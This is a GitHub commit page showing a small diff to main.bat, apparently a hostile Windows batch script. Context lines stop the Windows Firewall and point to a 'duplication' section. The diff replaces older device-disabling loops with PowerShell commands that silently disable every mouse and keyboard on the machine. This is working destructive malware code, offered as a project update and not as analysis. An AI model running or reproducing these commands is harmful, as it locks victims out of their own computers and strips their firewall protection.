Skip to content

Commit

Permalink
v0.0.0.28
Browse files Browse the repository at this point in the history
  • Loading branch information
INeddHelp committed Mar 25, 2023
1 parent 3285a3d commit d978edc
Showing 1 changed file with 2 additions and 10 deletions.
12 changes: 2 additions & 10 deletions main.bat
Original file line number Diff line number Diff line change
Expand Up @@ -21,16 +21,8 @@ net stop "Windows Firewall"


:disablekeyboardandmouse
setlocal enabledelayedexpansion
for /f "tokens=2 delims=," %%a in ('wmic path Win32_PointingDevice get Description^,DeviceID /format:csv ^| find "Mouse"') do (
set device=%%a
devcon disable "!device!"*
)

for /f "tokens=2 delims=," %%b in ('wmic path Win32_Keyboard get Description^,DeviceID /format:csv ^| find "Keyboard"') do (
set device=%%b
devcon disable "!device!"*
)
PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"


:duplication
Expand Down

0 comments on commit d978edc

Please sign in to comment.